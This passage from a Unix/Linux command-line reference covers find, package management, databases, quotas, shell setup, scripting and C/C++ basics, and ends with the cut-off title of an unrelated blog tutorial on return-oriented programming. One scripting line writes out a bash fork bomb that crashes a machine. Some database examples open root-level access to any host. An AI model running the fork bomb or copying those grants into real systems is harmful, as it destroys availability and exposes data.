          # Find images and create an archive, iname is not case sensitive. -r for append
    # find . \( -iname "*.png" -o -iname "*.jpg" \) -print -exec tar -rf images.tar {} \;
    # find . -type f -name "*.txt" ! -name README.txt -print  # Exclude README.txt files
    # find /var/ -size +10M -exec ls -lh {} \;     # Find large files > 10 MB
    # find /var/ -size +10M -ls           # This is simpler
    # find . -size +10M -size -50M -print
    # find /usr/ports/ -name work -type d -print -exec rm -rf {} \;  # Clean the ports
          # Find files with SUID; those file are vulnerable and must be kept secure
    # find / -type f -user root -perm -4000 -exec ls -l {} \; 
    
    
[/code]

Be careful with xarg or exec as it might or might not honor quotings and can return wrong results when files or directories contain spaces. In doubt use "-print0 | xargs -0" instead of "| xargs". The option -print0 must be the last in the find command. See this nice mini tutorial for find.
[code]

    # find . -type f | xargs ls -l       # Will not work with spaces in names
    # find . -type f -print0 | xargs -0 ls -l  # Will work with spaces in names
    # find . -type f -exec ls -l '{}' \; # Or use quotes '{}' with -exec
    
    
[/code]

## Miscellaneous

[code]

    # which command                      # Show full path name of command
    # time command                       # See how long a command takes to execute
    # time cat                           # Use time as stopwatch. Ctrl-c to stop
    # set | grep $USER                   # List the current environment
    # cal -3                             # Display a three month calendar
    # date [-u|--utc|--universal] [MMDDhhmm[[CC]YY][.ss]]
    # date 10022155                      # Set date and time
    # whatis grep                        # Display a short info on the command or word
    # whereis java                       # Search path and standard directories for word
    # setenv varname value               # Set env. variable varname to value (csh/tcsh)
    # export varname="value"             # set env. variable varname to value (sh/ksh/bash)
    # pwd                                # Print working directory
    # mkdir -p /path/to/dir              # no error if existing, make parent dirs as needed
    # mkdir -p project/{bin,src,obj,doc/{html,man,pdf},debug/some/more/dirs}
    # rmdir /path/to/dir                 # Remove directory
    # rm -rf /path/to/dir                # Remove directory and its content (force)
    # cp -la /dir1 /dir2                 # Archive and hard link files instead of copy
    # cp -lpR /dir1 /dir2                # Same for FreeBSD
    # cp unixtoolbox.xhtml{,.bak}        # Short way to copy the file with a new extension
    # mv /dir1 /dir2                     # Rename a directory
    # ls -1                              # list one file per line
    # history | tail -50                 # Display the last 50 used commands
    
    
[/code]

Check file hashes with openssl. This is a nice alternative to the commands
`md5sum` or `sha1sum` \(FreeBSD uses `md5` and `sha1`\) which are not always
installed.

[code]

    # openssl md5 file.tar.gz            # Generate an md5 checksum from file
    # openssl sha1 file.tar.gz           # Generate an sha1 checksum from file
    # openssl rmd160 file.tar.gz         # Generate a RIPEMD-160 checksum from file
    
    
[/code]

# INSTALL SOFTWARE

Usually the package manager uses the proxy variable for http/ftp requests. In
.bashrc:

[code]

    export http_proxy=http://proxy_server:3128
    export ftp_proxy=http://proxy_server:3128
    
    
[/code]

## List installed packages

[code]

    # rpm -qa                            # List installed packages (RH, SuSE, RPM based)
    # dpkg -l                            # Debian, Ubuntu
    # pkg_info                           # FreeBSD list all installed packages
    # pkg_info -W smbd                   # FreeBSD show which package smbd belongs to
    # pkginfo                            # Solaris
    
    
[/code]

## Add/remove software

Front ends: yast2/yast for SuSE, redhat-config-packages for Red Hat.

[code]

    # rpm -i pkgname.rpm                 # install the package (RH, SuSE, RPM based)
    # rpm -e pkgname                     # Remove package
    
    
[/code]

### Debian

[code]

    # apt-get update                     # First update the package lists
    # apt-get install emacs              # Install the package emacs
    # dpkg --remove emacs                # Remove the package emacs
    # dpkg -S file                       # find what package a file belongs to
    
    
[/code]

### Gentoo

Gentoo uses emerge as the heart of its "Portage" package management system.

[code]

    # emerge --sync                      # First sync the local portage tree
    # emerge -u packagename              # Install or upgrade a package
    # emerge -C packagename              # Remove the package
    # revdep-rebuild                     # Repair dependencies
    
    
[/code]

### Solaris

The <cdrom> path is usually `/cdrom/cdrom0`.

[code]

    # pkgadd -d <cdrom>/Solaris_9/Product SUNWgtar
    # pkgadd -d SUNWgtar                 # Add downloaded package (bunzip2 first)
    # pkgrm SUNWgtar                     # Remove the package
    
    
[/code]

### FreeBSD

[code]

    # pkg_add -r rsync                   # Fetch and install rsync.
    # pkg_delete /var/db/pkg/rsync-xx    # Delete the rsync package
    
    
[/code]

Set where the packages are fetched from with the `PACKAGESITE` variable. For
example:

[code]

    # export PACKAGESITE=ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages/Latest/ 
    # or ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-6-stable/Latest/
    
    
[/code]

### FreeBSD ports

The port tree `/usr/ports/` is a collection of software ready to compile and
install. The ports are updated with the program `portsnap`.

[code]

    # portsnap fetch extract             # Create the tree when running the first time
    # portsnap fetch update              # Update the port tree
    # cd /usr/ports/net/rsync/           # Select the package to install
    # make install distclean             # Install and cleanup (also see man ports)
    # make package                       # Make a binary package for the port
    
    
[/code]

## Library path

Due to complex dependencies and runtime linking, programs are difficult to
copy to an other system or distribution. However for small programs with
little dependencies, the missing libraries can be copied over. The runtime
libraries \(and the missing one\) are checked with `ldd` and managed with
`ldconfig`.

[code]

    # ldd /usr/bin/rsync                 # List all needed runtime libraries
    # ldconfig -n /path/to/libs/         # Add a path to the shared libraries directories
    # ldconfig -m /path/to/libs/         # FreeBSD
    # LD_LIBRARY_PATH                    # The variable set the link library path
    
    
[/code]

# CONVERT MEDIA

Sometimes one simply need to convert a video, audio file or document to
another format.

## Text encoding

Text encoding can get totally wrong, specially when the language requires
special characters like àäç. The command `iconv` can convert from one encoding
to an other.

[code]

    # iconv -f <from_encoding> -t <to_encoding> <input_file>
    # iconv -f ISO8859-1 -t UTF-8 -o file.input > file_utf8
    # iconv -l                           # List known coded character sets
    
    
[/code]

Without the -f option, iconv will use the local char-set, which is usually
fine if the document displays well.

## Unix - DOS newlines

Convert DOS \(CR/LF\) to Unix \(LF\) newlines and back **within a Unix
shell**. See also `dos2unix` and `unix2dos` if you have them.

[code]

    # sed 's/.$//' dosfile.txt > unixfile.txt                  # DOS to UNIX
    # awk '{sub(/\r$/,"");print}' dosfile.txt > unixfile.txt   # DOS to UNIX
    # awk '{sub(/$/,"\r");print}' unixfile.txt > dosfile.txt   # UNIX to DOS
    
    
[/code]

Convert Unix to DOS newlines **within a Windows environment**. Use sed or awk
from mingw or cygwin.

[code]

    # sed -n p unixfile.txt > dosfile.txt
    # awk 1 unixfile.txt > dosfile.txt   # UNIX to DOS (with a cygwin shell)
    
    
[/code]

## PDF to Jpeg and concatenate PDF files

Convert a PDF document with `gs` \(GhostScript\) to jpeg \(or png\) images for
each page. Also much shorter with `convert` \(from ImageMagick or
GraphicsMagick\).

[code]

    # gs -dBATCH -dNOPAUSE -sDEVICE=jpeg -r150 -dTextAlphaBits=4 -dGraphicsAlphaBits=4 \
     -dMaxStripSize=8192 -sOutputFile=unixtoolbox_%d.jpg unixtoolbox.pdf
    # convert unixtoolbox.pdf unixtoolbox-%03d.png
    # convert *.jpeg images.pdf          # Create a simple PDF with all pictures
    # convert image000* -resample 120x120 -compress JPEG -quality 80 images.pdf
    
    
[/code]

Ghostscript can also concatenate multiple pdf files into a single one. This
only works well if the PDF files are "well behaved".

[code]

    # gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=all.pdf \
    file1.pdf file2.pdf ...              # On Windows use '#' instead of '='
    
    
[/code]

## Convert video

Compress the Canon digicam video with an mpeg4 codec and repair the crappy
sound.

[code]

    # mencoder -o videoout.avi -oac mp3lame -ovc lavc -srate 11025 \
    -channels 1 -af-adv force=1 -lameopts preset=medium -lavcopts \
    vcodec=msmpeg4v2:vbitrate=600 -mc 0 vidoein.AVI
    
    
[/code]

See sox for sound processing.

## Copy an audio cd

The program `cdparanoia` can save the audio tracks \(FreeBSD port in
audio/cdparanoia/\), `oggenc` can encode in Ogg Vorbis format, `lame` converts
to mp3.

[code]

    # cdparanoia -B                      # Copy the tracks to wav files in current dir
    # lame -b 256 in.wav out.mp3         # Encode in mp3 256 kb/s
    # for i in *.wav; do lame -b 256 $i `basename $i .wav`.mp3; done
    # oggenc in.wav -b 256 out.ogg       # Encode in Ogg Vorbis 256 kb/s
    
    
[/code]

# PRINTING

## Print with lpr

[code]

    # lpr unixtoolbox.ps                 # Print on default printer
    # export PRINTER=hp4600              # Change the default printer
    # lpr -Php4500 #2 unixtoolbox.ps     # Use printer hp4500 and print 2 copies
    # lpr -o Duplex=DuplexNoTumble ...   # Print duplex along the long side
    # lpr -o PageSize=A4,Duplex=DuplexNoTumble ...
    
    
[/code]

[code]

    # lpq                                # Check the queue on default printer
    # lpq -l -Php4500                    # Queue on printer hp4500 with verbose
    # lprm -                             # Remove all users jobs on default printer
    # lprm -Php4500 3186                 # Remove job 3186. Find job nbr with lpq
    # lpc status                         # List all available printers
    # lpc status hp4500                  # Check if printer is online and queue length
    
    
[/code]

Some devices are not postscript and will print garbage when fed with a pdf
file. This might be solved with:

[code]

    # gs -dSAFER -dNOPAUSE -sDEVICE=deskjet -sOutputFile=\|lpr file.pdf
    
[/code]

Print to a PDF file even if the application does not support it. Use `gs` on
the print command instead of `lpr`.

[code]

    # gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=/path/file.pdf
    
[/code]

# DATABASES

## PostgreSQL

### Change root or a username password

[code]

    # psql -d template1 -U pgsql
    > alter user pgsql with password 'pgsql_password';  # Use username instead of "pgsql"
    
    
[/code]

### Create user and database

The commands `createuser`, `dropuser`, `createdb` and `dropdb` are convenient
shortcuts equivalent to the SQL commands. The new user is bob with database
bobdb ; use as root with pgsql the database super user:

[code]

    # createuser -U pgsql -P bob         # -P will ask for password
    # createdb -U pgsql -O bob bobdb     # new bobdb is owned by bob
    # dropdb bobdb                       # Delete database bobdb
    # dropuser bob                       # Delete user bob
    
    
[/code]

The general database authentication mechanism is configured in pg\_hba.conf

### Grant remote access

The file `$PGSQL_DATA_D/postgresql.conf` specifies the address to bind to.
Typically `listen_addresses = '*'` for Postgres 8.x.  
The file `$PGSQL_DATA_D/pg_hba.conf` defines the access control. Examples:

[code]

    # TYPE  DATABASE    USER        IP-ADDRESS        IP-MASK          METHOD
    host    bobdb       bob        212.117.81.42     255.255.255.255   password
    host    all         all        0.0.0.0/0                           password
    
    
[/code]

### Backup and restore

The backups and restore are done with the user pgsql or postgres. Backup and
restore a single database:

[code]

    # pg_dump --clean dbname > dbname_sql.dump
    # psql dbname < dbname_sql.dump
    
    
[/code]

Backup and restore all databases \(including users\):

[code]

    # pg_dumpall --clean > full.dump
    # psql -f full.dump postgres
    
    
[/code]

In this case the restore is started with the database postgres which is better
when reloading an empty cluster.

## MySQL

### Change mysql root or username password

#### Method 1

[code]

    # /etc/init.d/mysql stop
    _or_
    # killall mysqld
    # mysqld --skip-grant-tables
    # mysqladmin -u root password 'newpasswd'
    # /etc/init.d/mysql start
    
    
[/code]

#### Method 2

[code]

    # mysql -u root mysql
    mysql> UPDATE USER SET PASSWORD=PASSWORD("newpassword") where user='root';
    mysql> FLUSH PRIVILEGES;                           # Use username instead of "root"
    mysql> quit
    
    
[/code]

### Create user and database

[code]

    # mysql -u root mysql
    mysql> CREATE DATABASE bobdb;
    mysql> GRANT ALL ON *.* TO 'bob'@'%' IDENTIFIED BY 'pwd'; # Use localhost instead of %
                                                       # to restrict the network access
    mysql> DROP DATABASE bobdb;                        # Delete database
    mysql> DROP USER bob;                              # Delete user
    mysql> DELETE FROM mysql.user WHERE user='bob and host='hostname'; # Alt. command
    mysql> FLUSH PRIVILEGES;
    
    
[/code]

### Grant remote access

Remote access is typically permitted for a database, and not all databases.
The file `/etc/my.cnf` contains the IP address to bind to. Typically comment
the line`bind-address =` out.

[code]

    # mysql -u root mysql
    mysql> GRANT ALL ON bobdb.* TO bob@'xxx.xxx.xxx.xxx' IDENTIFIED BY 'PASSWORD';
    mysql> REVOKE GRANT OPTION ON foo.* FROM bar@'xxx.xxx.xxx.xxx';
    mysql> FLUSH PRIVILEGES;                  # Use 'hostname' or also '%' for full access
    
    
[/code]

### Backup and restore

Backup and restore a single database:

[code]

    # mysqldump -u root -psecret --add-drop-database dbname > dbname_sql.dump
    # mysql -u root -psecret -D dbname < dbname_sql.dump
    
    
[/code]

Backup and restore all databases:

[code]

    # mysqldump -u root -psecret --add-drop-database --all-databases > full.dump
    # mysql -u root -psecret < full.dump
    
    
[/code]

Here is "secret" the mysql root password, there is no space after -p. When the
-p option is used alone \(w/o password\), the password is asked at the command
prompt.

## SQLite

SQLite is a small powerful self-contained, serverless, zero-configuration SQL
database.

### Dump and restore

It can be useful to dump and restore an SQLite database. For example you can
edit the dump file to change a column attribute or type and then restore the
database. This is easier than messing with SQL commands. Use the command
`sqlite3` for a 3.x database.

[code]

    # sqlite database.db .dump > dump.sql              # dump
    # sqlite database.db < dump.sql                    # restore
    
    
[/code]

### Convert 2.x to 3.x database

[code]

    sqlite database_v2.db .dump | sqlite3 database_v3.db
    
[/code]

# DISK QUOTA

A disk quota allows to limit the amount of disk space and/or the number of
files a user or \(or member of group\) can use. The quotas are allocated on a
per-file system basis and are enforced by the kernel.

## Linux setup

The quota tools package usually needs to be installed, it contains the command
line tools.  
Activate the user quota in the fstab and remount the partition. If the
partition is busy, either all locked files must be closed, or the system must
be rebooted. Add `usrquota` to the fstab mount options, for example:

[code]

    /dev/sda2     /home    reiserfs     rw,acl,user_xattr,usrquota 1 1
    # mount -o remount /home
    # mount                              # Check if usrquota is active, otherwise reboot
    
    
[/code]

Initialize the quota.user file with `quotacheck`.

[code]

    # quotacheck -vum /home
    # chmod 644 /home/aquota.user        # To let the users check their own quota
    
    
[/code]

Activate the quota either with the provided script \(e.g. /etc/init.d/quotad
on SuSE\) or with `quotaon`:

[code]

    quotaon -vu /home
    
[/code]

Check that the quota is active with:

[code]

    quota -v
    
[/code]

## FreeBSD setup

The quota tools are part of the base system, however the kernel needs the
option quota. If it is not there, add it and recompile the kernel.

[code]

    options QUOTA
    
[/code]

As with Linux, add the quota to the fstab options \(userquota, not usrquota\):

[code]

    /dev/ad0s1d    /home    ufs     rw,noatime,userquota    2  2
    # mount /home                        # To remount the partition
    
    
[/code]

Enable disk quotas in /etc/rc.conf and start the quota.

[code]

    # grep quotas /etc/rc.conf
    enable_quotas="YES"                  # turn on quotas on startup (or NO).
    check_quotas="YES"                   # Check quotas on startup (or NO).
    # /etc/rc.d/quota start
    
    
[/code]

## Assign quota limits

The quotas are not limited per default \(set to 0\). The limits are set with
`edquota` for single users. A quota can be also duplicated to many users. The
file structure is different between the quota implementations, but the
principle is the same: the values of blocks and inodes can be limited.  _Only
change the values of soft and hard_. If not specified, the blocks are 1k. The
grace period is set with `edquota -t`. For example:

[code]

    # edquota -u colin
    
[/code]

### Linux

[code]

    Disk quotas for user colin (uid 1007):
      Filesystem         blocks       soft       hard     inodes     soft     hard
      /dev/sda8            108       1000       2000          1        0        0
    
    
[/code]

### FreeBSD

[code]

    Quotas for user colin:
    /home: kbytes in use: 504184, limits (soft = 700000, hard = 800000)
       inodes in use: 1792, limits (soft = 0, hard = 0)
    
    
[/code]

### For many users

The command `edquota -p` is used to duplicate a quota to other users. For
example to duplicate a reference quota to all users:

[code]

    # edquota -p refuser `awk -F: '$3 > 499 {print $1}' /etc/passwd`
    # edquota -p refuser user1 user2     # Duplicate to 2 users
    
    
[/code]

### Checks

Users can check their quota by simply typing `quota` \(the file quota.user
must be readable\). Root can check all quotas.

[code]

    # quota -u colin                     # Check quota for a user
    # repquota /home                     # Full report for the partition for all users
    
    
[/code]

# SHELLS

Most Linux distributions use the bash shell while the BSDs use tcsh, the
bourne shell is only used for scripts. Filters are very useful and can be
piped:

  * `grep` Pattern matching
  * `sed` Search and Replace strings or characters
  * `cut` Print specific columns from a marker
  * `sort` Sort alphabetically or numerically
  * `uniq` Remove duplicate lines from a file

For example used all at once:

[code]

    # ifconfig | sed 's/  / /g' | cut -d" " -f1 | uniq | grep -E "[a-z0-9]+" | sort -r
    # ifconfig | sed '/.*inet addr:/!d;s///;s/ .*//'|sort -t. -k1,1n -k2,2n -k3,3n -k4,4n
    
    
[/code]

The first character in the sed pattern is a tab. To write a tab on the
console, use ctrl-v ctrl-tab.

## bash

Redirects and pipes for bash and sh:

[code]

    # cmd 1> file                         # Redirect stdout to file.
    # cmd 2> file                         # Redirect stderr to file.
    # cmd 1>> file                        # Redirect and append stdout to file.
    # cmd &> file                         # Redirect both stdout and stderr to file.
    # cmd >file 2>&1                      # Redirects stderr to stdout and then to file.
    # cmd1 | cmd2                         # pipe stdout to cmd2
    # cmd1 2>&1 | cmd2                    # pipe stdout and stderr to cmd2
    
    
[/code]

Modify your configuration in ~/.bashrc \(it can also be ~/.bash\_profile\).
The following entries are useful, reload with ". .bashrc".

[code]

    # in .bashrc
    bind '"\e[A"':history-search-backward # Use up and down arrow to search
    bind '"\e[B"':history-search-forward  # the history. Invaluable!
    set -o emacs                          # Set emacs mode in bash (see below)
    set bell-style visible                # Do not beep, inverse colors
        # Set a nice prompt like [user@host]/path/todir>
    PS1="\[\033[1;30m\][\[\033[1;34m\]\u\[\033[1;30m\]"
    PS1="$PS1@\[\033[0;33m\]\h\[\033[1;30m\]]\[\033[0;37m\]"
    PS1="$PS1\w\[\033[1;30m\]>\[\033[0m\]"
    
    
[/code]

[code]

    # To check the currently active aliases, simply type alias
    alias  ls='ls -aF'                    # Append indicator (one of */=>@|)
    alias  ll='ls -aFls'                  # Listing
    alias  la='ls -all'
    alias ..='cd ..'
    alias ...='cd ../..'
    export HISTFILESIZE=5000              # Larger history
    export CLICOLOR=1                     # Use colors (if possible)
    export LSCOLORS=ExGxFxdxCxDxDxBxBxExEx
    
    
[/code]

## tcsh

Redirects and pipes for tcsh and csh \(simple > and >> are the same as sh\):

[code]

    # cmd >& file                         # Redirect both stdout and stderr to file.
    # cmd >>& file                        # Append both stdout and stderr to file.
    # cmd1 | cmd2                         # pipe stdout to cmd2
    # cmd1 |& cmd2                        # pipe stdout and stderr to cmd2
    
    
[/code]

The settings for csh/tcsh are set in `~/.cshrc`, reload with "source .cshrc".
Examples:

[code]

    # in .cshrc
    alias  ls      'ls -aF'
    alias  ll      'ls -aFls'
    alias  la      'ls -all'
    alias  ..      'cd ..'
    alias  ...     'cd ../..'
    set   prompt    = "%B%n%b@%B%m%b%/> " # like user@host/path/todir>
    set   history   =  5000
    set   savehist  = ( 6000 merge )
    set   autolist                        # Report possible completions with tab
    set   visiblebell                     # Do not beep, inverse colors
    
    
[/code]

[code]

    # Bindkey and colors
    bindkey -e     Select Emacs bindings  # Use emacs keys to edit the command prompt
    bindkey -k up history-search-backward # Use up and down arrow to search
    bindkey -k down history-search-forward
    setenv CLICOLOR 1                     # Use colors (if possible)
    setenv LSCOLORS ExGxFxdxCxDxDxBxBxExEx
    
    
[/code]

The emacs mode enables to use the emacs keys shortcuts to modify the command
prompt line. This is extremely useful \(not only for emacs users\). The most
used commands are:

  * C-a Move cursor to beginning of line
  * C-e Move cursor to end of line
  * M-b Move cursor back one word
  * M-f Move cursor forward one word
  * M-d Cut the next word
  * C-w Cut the last word
  * C-u Cut everything before the cursor
  * C-k Cut everything after the cursor \(rest of the line\)
  * C-y Paste the last thing to be cut \(simply paste\)
  * C-\_ Undo

 _Note:_ C- = hold control, M- = hold meta \(which is usually the alt or
escape key\).

# SCRIPTING

Basics | Script example | awk | sed | Regular Expressions | useful commands
The Bourne shell \(/bin/sh\) is present on all Unix installations and scripts
written in this language are \(quite\) portable; `man 1 sh` is a good
reference.

## Basics

### Variables and arguments

Assign with variable=value and get content with $variable

[code]

    MESSAGE="Hello World"                        # Assign a string
    PI=3.1415                                    # Assign a decimal number
    N=8
    TWON=`expr $N * 2`                           # Arithmetic expression (only integers)
    TWON=$(($N * 2))                             # Other syntax
    TWOPI=`echo "$PI * 2" | bc -l`               # Use bc for floating point operations
    ZERO=`echo "c($PI/4)-sqrt(2)/2" | bc -l`
    
    
[/code]

The command line arguments are

[code]

    $0, $1, $2, ...                              # $0 is the command itself 
    $#                                           # The number of arguments
    $*                                           # All arguments (also $@)
    
    
[/code]

### Special Variables

[code]

    $$                                           # The current process ID
    $?                                           # exit status of last command
      command
      if [ $? != 0 ]; then
        echo "command failed"
      fi
    mypath=`pwd`
    mypath=${mypath}/file.txt
    echo ${mypath##*/}                           # Display the filename only
    echo ${mypath%%.*}                           # Full path without extention
    var2=${var:=string}                          # Use var if set, otherwise use string
                                                 # assign string to var and then to var2.
    
    
[/code]

### Constructs

[code]

    for file in `ls`
    do
        echo $file
    done
    
    count=0
    while [ $count -lt 5 ]; do
        echo $count
        sleep 1
        count=$(($count + 1))
    done
    
    myfunction() {
        find . -type f -name "*.$1" -print       # $1 is first argument of the function
    }
    myfunction "txt"
    
    
[/code]

#### Generate a file

[code]

    MYHOME=/home/colin
    cat > testhome.sh<< _EOF
    # All of this goes into the file testhome.sh
    if [ -d "$MYHOME" ] ; then
        echo $MYHOME exists
    else
        echo $MYHOME does not exist
    fi
    _EOF
    sh testhome.sh
    
    
[/code]

## Bourne script example

As a small example, the script used to create a PDF booklet from this xhtml
document:

[code]

    #!/bin/sh
    # This script creates a book in pdf format ready to print on a duplex printer
    if [ $# -ne 1 ]; then                        # Check the argument
      echo 1>&2 "Usage: $0 HtmlFile"
      exit 1                                     # non zero exit if error
    fi
    
    file=$1                                      # Assign the filename
    fname=${file%.*}                             # Get the name of the file only
    fext=${file#*.}                              # Get the extension of the file
    
    prince $file -o $fname.pdf                   # from www.princexml.com
    pdftops -paper A4 -noshrink $fname.pdf $fname.ps # create postscript booklet
    cat $fname.ps |psbook|psnup -Pa4 -2 |pstops -b "2:0,1U(21cm,29.7cm)" > $fname.book.ps
    
    ps2pdf13 -sPAPERSIZE=a4 -sAutoRotatePages=None $fname.book.ps $fname.book.pdf
                                                 # use #a4 and #None on Windows!
    exit 0                                       # exit 0 means successful
    
    
[/code]

## Some awk commands

Awk is useful for field stripping, like cut in a more powerful way. Search
this document for other examples. See for example gnulamp.com and one-liners
for awk for some nice examples.

[code]

    awk '{ print $2, $1 }' file                  # Print and inverse first two columns
    awk '{printf("%5d : %s\n", NR,$0)}' file     # Add line number left aligned
    awk '{print FNR "\t" $0}' files              # Add line number right aligned
    awk NF test.txt                              # remove blank lines (same as grep '.')
    awk 'length > 80'                            # print line longer than 80 char)
    
    
[/code]

## Some sed commands

Here is the one liner gold mine. And a good introduction and tutorial to sed.

[code]

    sed 's/string1/string2/g'                    # Replace string1 with string2
    sed -i 's/wroong/wrong/g' *.txt              # Replace a recurring word with g
    sed 's/\(.*\)1/\12/g'                        # Modify anystring1 to anystring2
    sed '/<p>/,/<\/p>/d' t.xhtml                 # Delete lines that start with <p>
                                                 # and end with </p>
    sed '/ *#/d; /^ *$/d'                        # Remove comments and blank lines
    sed 's/[ \t]*$//'                            # Remove trailing spaces (use tab as \t)
    sed 's/^[ \t]*//;s/[ \t]*$//'                # Remove leading and trailing spaces
    sed 's/[^*]/[&]/'                            # Enclose first char with [] top->[t]op
    sed = file | sed 'N;s/\n/\t/' > file.num     # Number lines on a file
    
    
[/code]

## Regular Expressions

Some basic regular expression useful for sed too. See Basic Regex Syntax for a
good primer.

[code]

    [\^$.|?*+()                          # special characters any other will match themselves
    \                                    # escapes special characters and treat as literal
    *                                    # repeat the previous item zero or more times
    .                                    # single character except line break characters
    .*                                   # match zero or more characters
    ^                                    # match at the start of a line/string
    $                                    # match at the end of a line/string
    .$                                   # match a single character at the end of line/string
    ^ $                                  # match line with a single space
    [^A-Z]                               # match any line beginning with any char from A to Z
    
    
[/code]

## Some useful commands

The following commands are useful to include in a script or as one liners.

[code]

    sort -t. -k1,1n -k2,2n -k3,3n -k4,4n         # Sort IPv4 ip addresses
    echo 'Test' | tr '[:lower:]' '[:upper:]'     # Case conversion
    echo foo.bar | cut -d . -f 1                 # Returns foo
    PID=$(ps | grep script.sh | grep bin | awk '{print $1}')    # PID of a running script
    PID=$(ps axww | grep [p]ing | awk '{print $1}')             # PID of ping (w/o grep pid)
    IP=$(ifconfig $INTERFACE | sed '/.*inet addr:/!d;s///;s/ .*//')   # Linux
    IP=$(ifconfig $INTERFACE | sed '/.*inet /!d;s///;s/ .*//')        # FreeBSD
    if [ `diff file1 file2 | wc -l` != 0 ]; then [...] fi       # File changed?
    cat /etc/master.passwd | grep -v root | grep -v \*: | awk -F":" \ # Create http passwd
    '{ printf("%s:%s\n", $1, $2) }' > /usr/local/etc/apache2/passwd
    
    testuser=$(cat /usr/local/etc/apache2/passwd | grep -v \    # Check user in passwd
    root | grep -v \*: | awk -F":" '{ printf("%s\n", $1) }' | grep ^user$)
    :(){ :|:& };:                                # bash fork bomb. Will kill your machine
    tail +2 file > file2                         # remove the first line from file
    
    
[/code]

I use this little trick to change the file extension for many files at once.
For example from .cxx to .cpp. Test it first without the `| sh` at the end.
You can also do this with the command `rename` if installed. Or with bash
builtins.

[code]

    # ls *.cxx | awk -F. '{print "mv "$0" "$1".cpp"}' | sh
    # ls *.c | sed "s/.*/cp &&.$(date "+%Y%m%d")/" | sh  # e.g. copy *.c to *.c.20080401
    # rename .cxx .cpp *.cxx                             # Rename all .cxx to cpp
    # for i in *.cxx; do mv $i ${i%%.cxx}.cpp; done      # with bash builtins
    
    
[/code]

# PROGRAMMING

## C basics

[code]

    strcpy(newstr,str)                        /* copy str to newstr */
    expr1 ? expr2 : expr3                     /* if (expr1) expr2 else expr3 */
    x = (y > z) ? y : z;                      /* if (y > z) x = y; else x = z; */
    int a[]={0,1,2};                          /* Initialized array (or a[3]={0,1,2}; */
    int a[2][3]={{1,2,3},{4,5,6}};            /* Array of array of ints */
    int i = 12345;                            /* Convert in i to char str */
    char str[10];
    sprintf(str, "%d", i);
    
    
[/code]

## C example

A minimal c program simple.c:

[code]

    #include<stdio.h>
    main() {
         int number=42;
        printf("The answer is %i\n", number);  
    }
    
    
[/code]

Compile with:

[code]

    # gcc simple.c -o simple
    # ./simple
    The answer is 42
    
    
[/code]

## C++ basics

[code]

    *pointer                                  // Object pointed to by pointer&obj                                      
    // Address of object obj
    obj.x                                     // Member x of class obj (object obj)
    pobj->x                                   // Member x of class pointed to by pobj
                                              // (*pobj).x and pobj->x are the same
    
    
[/code]

## C++ example

As a slightly more realistic program in C++: a class in its own header
\(IPv4.h\) and implementation \(IPv4.cpp\) and a program which uses the class
functionality. The class converts an IP address in integer format to the known
quad format.

### IPv4 class

#### IPv4.h:

[code]

    #ifndef IPV4_H
    #define IPV4_H
    #include<string>
    
     namespace GenericUtils {                          // create a namespace
    class IPv4 {                                      // class definition
    public:
        IPv4(); ~IPv4();
        std::string IPint_to_IPquad(unsigned long ip);// member interface
    };
    } //namespace GenericUtils
    #endif // IPV4_H
    
    
[/code]

#### IPv4.cpp:

[code]

    #include "IPv4.h"
    #include<string>
     #include<sstream>
     using namespace std;                              // use the namespaces
    using namespace GenericUtils;
    
    IPv4::IPv4() {}                                   // default constructor/destructor
    IPv4::~IPv4() {}
    string IPv4::IPint_to_IPquad(unsigned long ip) {  // member implementation
        ostringstream ipstr;                          // use a stringstream
        ipstr << ((ip &0xff000000) >> 24)             // Bitwise right shift
    << "." << ((ip &0x00ff0000) >> 16)
              << "." << ((ip &0x0000ff00) >> 8)
              << "." << ((ip &0x000000ff));
        return ipstr.str();
    }
    
    
[/code]

### The program simplecpp.cpp

[code]

    #include "IPv4.h"
    #include<iostream>
     #include<string>
     using namespace std;
    int main (int argc, char* argv[]) {
        string ipstr;                                 // define variables
        unsigned long ipint = 1347861486;             // The IP in integer form
        GenericUtils::IPv4 iputils;                   // create an object of the class
        ipstr = iputils.IPint_to_IPquad(ipint);       // call the class member
        cout << ipint << " = " << ipstr << endl;      // print the result
    
        return 0;
    }
    
    
[/code]

Compile and execute with:

[code]

    # g++ -c IPv4.cpp simplecpp.cpp                # Compile in objects
    # g++ IPv4.o simplecpp.o -o simplecpp.exe      # Link the objects to final executable
    # ./simplecpp.exe 
    1347861486 = 80.86.187.238
    
    
[/code]

Use `ldd` to check which libraries are used by the executable and where they
are located. Also used to check if a shared library is missing or if the
executable is static.

[code]

    # ldd /sbin/ifconfig                           # list dynamic object dependencies
    # ar rcs staticlib.a *.o                       # create static archive
    # ar t staticlib.a                             # print the objects list from the archive
    # ar x /usr/lib/libc.a version.o               # extract an object file from the archive
    # nm version.o                                 # show function members provided by object
    
    
[/code]

## Simple Makefile

The minimal Makefile for the multi-source program is shown below. The lines
with instructions  _must begin with a tab_\! The back slash "\" can be used to
cut long lines.

[code]

    CC = g++
    CFLAGS = -O
    OBJS = IPv4.o simplecpp.o
    
    simplecpp: ${OBJS}
            ${CC} -o simplecpp ${CFLAGS} ${OBJS}
    clean:
            rm -f ${TARGET} ${OBJS}
    
    
[/code]

# ONLINE HELP

## Documentation

Linux Documentation| en.tldp.org  
---|---  
Linux Man Pages| www.linuxmanpages.com  
Linux commands directory| www.oreillynet.com/linux/cmd  
Linux doc man howtos| linux.die.net  
FreeBSD Handbook| www.freebsd.org/handbook  
FreeBSD Man Pages| www.freebsd.org/cgi/man.cgi  
FreeBSD user wiki| www.freebsdwiki.net  
Solaris Man Pages| docs.sun.com/app/docs/coll/40.10  
## Other Unix/Linux references

Rosetta Stone for Unix| bhami.com/rosetta.html \(a Unix command translator\)  
---|---  
Unix guide cross reference| unixguide.net/unixguide.shtml  
Linux commands line list| www.linuxcmd.org  
Short Linux reference| www.pixelbeat.org/cmdline.html  
Little command line goodies| www.shell-fu.org  
That's all folks\!

# Dr. Fu's Security Blog: Malware Analysis Tutorial 16: Return Oriented
Programming \(Return to LIBC\) Attack

**Created:**| _2/11/2012 11:40:17 AM_  
---|---  
**Updated:**| _2/11/2012 11:40:27 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis Tutorials return-oriented_  
  

### Malware Analysis Tutorial 16: Return Oriented Programming \(Return to
